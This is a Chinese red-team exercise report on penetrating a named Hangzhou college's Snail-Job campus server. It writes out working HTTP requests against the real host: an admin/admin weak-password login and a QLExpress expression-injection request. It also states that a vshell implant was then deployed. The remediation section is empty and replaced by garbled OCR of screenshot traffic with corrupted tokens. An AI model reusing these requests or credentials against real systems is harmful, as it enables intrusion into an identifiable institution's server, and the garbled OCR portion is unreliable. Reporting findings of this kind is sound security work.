


攻防演练安全隐患报告

一、综述
经过演习指挥部授权，攻击队于2026年9月16日，对杭州第一技师学院进行了渗透评估，通过模拟真实网络攻击行为，评估系统是否存在可以被攻击者利用的漏洞以及由此因此引发的风险大小，为制定相应的安全措施与解决方案提供实际的依据。
渗透结果总结汇总如下表：
	渗透系统对象
	漏洞类型
	URL（可罗列）
	数量

	杭州第一技师学院智慧校园

	弱口令
	http://web.hzdyjsxy.cn/snail-job/auth/login
	

	
	表达式注入
	
	


二、渗透分析过程
（一）渗透路径说明
1.路径：http://web.hzdyjsxy.cn/snail-job/auth/login 
三、渗透成果说明
（一）风险状况概述
1.系统域名/IP：http://web.hzdyjsxy.cn
2.系统所属单位：杭州第一技师学院(杭州市高级技工学校、杭州医药职工中等专业学校

3.检测时间：2026年9月17日
[image: ]
（二）系统漏洞详情
杭州第一技师学院智慧校园系统命令执行
首先admin/admin弱口令登陆后台
	POST /snail-job/auth/login HTTP/1.1
Host: web.hzdyjsxy.cn:18080
Content-Type: application/json

{"username":"admin","password":"21232f297a57a5a743894a0e4a801fc3"}


[image: ]
然后QLExpress 表达式注入
计算1+1=2
	POST /snail-job/workflow/check-node-expression HTTP/1.1
Host: web.hzdyjsxy.cn:18080
Content-Type: application/json
snail-job-auth: <管理员 token>
snail-job-namespace-id: prod

{"expressionType":3,"nodeExpression":"1+1","checkContent":"{}"}


[image: ]
然后上线vshell
[image: ]


（三）成果说明
1.弱口令和表达式注入

（四）处置建议
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1 POST-/snail-job/auth/login-HTTP/1.1 HTTP/1.1-200 DNS#EE: 148ms; Imasitent: 12 [

2 Host: 2 web.hzdyjsxy.cn:18080 Server: -nginx 2.224.134.226:18080; WARYE):  EEEEESESS
3 Content-Type: -application/json Date: Thu, -17-Sep- 2026 09:51:59 -GMT 44ms; S#EAT: 219ms; URLhtt

4 Content-Type: -application/json pi//web.hzdyjsxy.cn:180807s..

5

{"username": "admin”, "password" : "21232f297a57a5a743894a0e4a801fc3"} Connection: -keep-alive

vary: -Accept-Encoding
Access-Control-Allow-Origin:
Access-Control-Allow-Headers: -X-Requested-With, content-type,token, snail-job-auth
Access-Control-Allow-Methods: - GET, - HEAD, - POST,  PUT, - DELETE, - TRACE,  OPTIONS, - PATCH
10 X-Backend: 8800

11 X-Auth-Required: -true

12 Content-Length auto :-549

13

CoNO WA WN R

14 {"status":1,"message":"Request-succeeded","data":{"id":1,"username
“namespaceIds”:[{"id":1,"name" : "Development", "uniqueId": "dev"},{"id"
“uniqueId”:"prod”}], "tokei y3hbGci01ITUZIIN ISINRSCCIEIKPXVCI.
ey71eHAI0jE30DK3MUXMTks IMF1ZCT6 It cImlkXCI6MSXCINVZZXIUYW11XCI6XCThZG1pblwil Fwicm9sZVwi0jIsXCIjem
VhdGVEdFwi0lwiMjAyNS@WNieyMCAXNJoyMToyOVwiL FwidXBkYXRIRHRCIFpcIj IWMIULMDY tMIAGMTYEMIEEM 1cIngifQ.
XApAJW_WIXKUpVGPMY7r3crldayic5eivkVamSFBSGQ”

“updateDt":"2025-06-20-16:21:29"}}
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POST- /snail-job/workflow/check-node-expression:HTTP/1.1

Host: ? web.hzdyjsxy.cn:18080

Content-Type: -application/json

snail-job-auth: -eyJhbGci0ilTUZIINIISINRSCCIGIKPXVCIS.

ey71eHA0FE30DK3MIUXMTKs IMF1ZCT6 It cImLkXCI6MSXCINVZZXIUYW11XCI6XCThZG1pblwiL Fwicm9sZVwi0jIsXCIjcmvhdGVEdFwiolwiM
JAYNSOWN1OYMCAXNFOyMTOyOVWi L FwidXBKYXRIRHRCIjpc I IWMIULMDYtMIAGMTY6MIEEMI 1cIn0ifQ.
XApAjW_WjXKUpvgPMY7r3crlaylcseivkvamSFBSGQ

snail-job-namespace-id: -prod

{"expressionType”:3, "nodeExpression”:"1+1","checkContent™:"{}"}

[(TESIN & ESEE > 2% Yaml 1854

B oE3= =
Tt 122.224.134.226:1808 @*
0; WARLESIE]: 47ms; SEEAT: 82
ms; URLhttp://web.hzdyjsxy.cn:18
080/s...

X-Requested-With, content-type, token, snail-job-auth

Access-Control-Allow-Methods: - GET, - HEAD, - POST,  PUT, - DELETE, - TRACE,  OPTIONS, - PATCH

69bytes / 47ms.
1 HTTP/1.1-200
2 server:-nginx
3 Date::Thu,-17-Sep-2026-09:53:42-GMT
4 Content-Type: -application/json
5 Connection: -keep-alive
6  Vary:-Accept-Encoding
7 Access-Control-Allow-Origin
8  Access-Control-Allow-Headers:
9

10 X-Backend: 8800

11 X-Auth-Required: -true

12 Content-Length auto : 69

13

14 {"status":1,"message”:"|

Request - succeeded”, "data”: {"key":1, "value":2}}
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